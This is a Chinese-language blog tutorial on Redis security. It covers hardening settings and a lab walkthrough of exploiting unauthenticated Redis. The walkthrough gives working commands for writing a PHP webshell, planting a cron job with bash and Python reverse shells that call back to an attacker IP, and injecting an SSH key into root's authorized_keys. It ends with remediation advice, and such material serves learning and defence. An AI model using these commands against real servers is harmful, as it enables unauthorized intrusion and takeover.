Redis配置及攻擊利用

Redis配置及攻擊利用

Redis及其安全配置

Redis介紹

redis默認會綁定在 0.0.0.0:6379,如果沒有進行採用相關的策略,比如添加防火牆規則避免其他非信任來源 ip 訪問等,這樣將會將 Redis 服務暴露到公網上,如果在沒有設置密碼認證(一般爲空)的情況下,會導致任意用戶在可以訪問目標服務器的情況下未授權訪問 Redis 以及讀取 Redis 的數據。攻擊者在未授權訪問 Redis 的情況下,利用 Redis 自身的提供的config 命令,可以進行寫文件操作,攻擊者可以成功將自己的ssh公鑰寫入目標服務器的 /root/.ssh 文件夾的authotrized_keys 文件中,進而可以使用對應私鑰直接使用ssh服務登錄目標服務器;redis可以被外部用戶每秒嘗試150k次密碼,這意味着需要高強度的密碼;極度BT的可能會重命名redis中的config命令...

Redis常用命令

redis-cli -h 目標IP -p 指定端口 連接redis
FLUASHALL 清除數據庫
auth password 使用password登錄
save 更新rdb緩存
info 查看版本、服務器信息
set x "Zh1z3ven" 將x鍵值設爲Zh1z3ven
get x 獲取key爲x的值
KEYS * 查看所有鍵
CONFIG GET dir 獲取默認redis dir
CONFIG GET dbfilename 獲取rdb文件名
CONFIG SET dir 重設dir路徑
CONFIG SET dbfilename 重設rdb文件名

Redis配置文件&安全設置

主要分爲設置訪問密碼,修改默認端口,綁定ip。

//設置訪問密碼
#
# requirepass foobared

//設置默認port
# Accept connections on the specified port, default is 6379.
# If port 0 is specified Redis will not listen on a TCP socket.
port 6379

//設置綁定IP
# By default Redis listens for connections from all the network interfaces
# available on the server. It is possible to listen to just one or multiple
# interfaces using the "bind" configuration directive, followed by one or
# more IP addresses
#
# Examples:
#
# bind 192.168.1.100 10.0.0.1
# bind 127.0.0.1
0x01 開啓密碼訪問設置
#
requirepass 123456

此時通過未授權的方式無法正常登錄

image-20201101141239375

使用密碼登錄的兩種姿勢

# 0x01 
redis-cli -h 192.168.124.153 -p 6380
ip:port>auth password

# 0x02
redis-cli -h 192.168.124.153 -p 6380 -a password
0x02 修改默認端口

默認綁定在6379 可以在配置文件redis.cong中修改

修改爲6380,重啓redis

# Accept connections on the specified port, default is 6379.
# If port 0 is specified Redis will not listen on a TCP socket.
port 6380

image-20201101140501119

0x03 修改綁定IP

在這裏通常會有一個認知誤區,就是這個綁定IP不是綁定外來訪問的地址(比如公網ip或同段內網ip)而是綁定自己服務器允許作爲與外部進行連接的ip地址比如環回ip,內網ip,外網ip;綁定0.0.0.0的話就是綁定自己服務器全部的ip,那綁定自己外網ip和0.0.0.0是沒什麼區別的,在沒有高強度密碼保護的情況下很不安全。

綁定迴環ip

image-20201101145853638

迴環ip可連接,同段ip已無法訪問

image-20201101145809291

image-20201101145940581

設置綁定內網ip

image-20201101150144920

image-20201101150126308

ps:如果想要確保redis安全,還是需要高強度密碼+合適的bind ip且最好不要暴露在外網

redis的攻擊利用

寫入webshell

前提條件

1.可連接redis(未授權或弱口令)並執行redis指令
2.開了web服務器,並且知道路徑,還需要具有文件讀寫增刪改查權限(我們可以將dir設置爲一個目錄a,而dbfilename爲文件名b,再執行save或bgsave,則我們就可以寫入一個路徑爲a/b的任意文件。)

利用過程

注意寫入webshell的時候在一句話兩邊加上/r/n的換行符,因爲用redis寫入的文件會自帶一些版本信息,如果不換行可能會導致無法執行。

192.168.124.153:6379> config set dir /var/www/html
OK
192.168.124.153:6379> config set dbfilename shell.php
OK
192.168.124.153:6379> set webshell "\r\n\r\n<?php phpinfo() ?>/r/n/r/n"
OK
192.168.124.153:6379> 

觀察靶機已成功寫入

image-20201029170158171

image-20201029170416656

利用計劃任務反彈shell

反彈shell還是要根據實際情況來,比如ubuntu和centos反彈的命令會有區別,一般是因爲sh軟鏈接指向的是dash還是bash,一般反彈shell是bash,而dash的shell只有運行腳本的能力沒有交互能力所以反彈ubuntu的shell可能需要換腳本.

參考文章:https://blog.csdn.net/sdb5858874/article/details/81837440

攻擊機監聽端口

nc -lvvp 22222

redis寫入反彈shell的計劃任務

每分鐘反彈一次shell

192.168.124.153:6379> set xxx "\r\n\r\n*/1 * * * * /bin/bash -i>&/dev/tcp/192.168.124.141/22222 0>&1\n\r\n\r"
OK
192.168.124.153:6379> config set dir /var/spool/cron
OK
192.168.124.153:6379> config set dbfilename root
OK
192.168.124.153:6379> save
OK
192.168.124.153:6379> 

python版本

*/1 * * * * python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("127.0.0.1",8080));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

導入ssh私鑰遠程登錄

當redis以root身份運行,可以給root賬戶寫入SSH公鑰文件,直接通過SSH登錄目標服務器。

利用過程

生成ssh私鑰

root@kali:~/.ssh# ssh-keygen -t rsa
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa): 
Enter passphrase (empty for no passphrase): 
Enter same passphrase again: 
Your identification has been saved in /root/.ssh/id_rsa
Your public key has been saved in /root/.ssh/id_rsa.pub
The key fingerprint is:
SHA256:4VEO6Gjtb4l0aSNyPFzhNzjXwLJ2g8x2/JoP27KVpuM root@kali
The key's randomart image is:
+---[RSA 3072]----+
|       ....      |
|      . o+o      |
|     + +oB.o     |
|    o o.%oO .    |
|   . + +SB +     |
|    . O =   ..   |
|     + B o.o+    |
|      . + =B     |
|       . .E=o    |
+----[SHA256]-----+
root@kali:~/.ssh# ls
1.txt  id_rsa  id_rsa.bak  id_rsa.pub  known_hosts

將新生成的id_rsa保存在redis.txt文件中

root@kali:~/.ssh# (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > redis.txt
root@kali:~/.ssh# ls
1.txt  id_rsa  id_rsa.bak  id_rsa.pub  known_hosts  redis.txt

將保存的redis.txt寫入redis

cat ~/.ssh/redis.txt | redis-cli -h 192.168.124.153 -p 6380 -a 123456 -x set crack

登錄redis查看私鑰是否寫入,並將路徑改爲/root/.ssh

192.168.124.153:6380> flushall
OK
192.168.124.153:6380> config set dir /home/root/.ssh
OK
192.168.124.153:6380> config set dbfilename authorized_keys
OK
192.168.124.153:6380> cat redis.txt | redis-cli -h 192.168.124.153 -x set crack
(error) ERR unknown command 'cat'
192.168.124.153:6380> get crack
"\n\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDB6GBUIZ5ftcFpS4Twkk9NTsp77/uZZDMRomxAF66aCux2QOL/0WAuZXZho62lxJVI0AL+MSkbcJznsyR/ZONTDzKHu6hXaq6IohWQ78dvOLcGmPUqUVptn0Ed5Bx4VGk2o6yKoSTWVzfgzRWgGsodA4e8lGNAz+cdM9I6ot+l4quiGD6AgrepSRmQBCbPEyVyVAZtYOqSieVXyFGtIr26C3uutemyzYtG9hVSjdcNNFGNRa3ZOn0W2zRirQh+PI4/lZGP2rT8Dilh1qv2ntlXZ0F8Dh/wAxTR1CquhUst9V89ilbOW/tPDg4oDTqL3H9uuyajhQw/nl8uqAmcKGDsoUUSBg+DUnXEFLgQqvsmwFC5LkV1hF4+JGiYgFPb2wd7x0+eRnCC7s7QaodFXqlYmcdqQK6rDTUMVVx3n9uZ2asemYYr6V1lpFW17QMwh1lBNwHGTl8xRiE4DQXp0Bpk2/jYF+5CP2k1Dwz0Fd+rNYH8/hACf1/8ZFjj1IJ+MRk= root@kali\n\n\n\n" 
192.168.124.153:6380> save
OK

ssh

ssh -i id_rsa [email protected]

image-20201101190051166

修復建議

1、設置bind ip

2、開啓訪問密碼認證

3、修改默認端口

4、做好acl訪問控制,redis服務不要暴露在外網

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章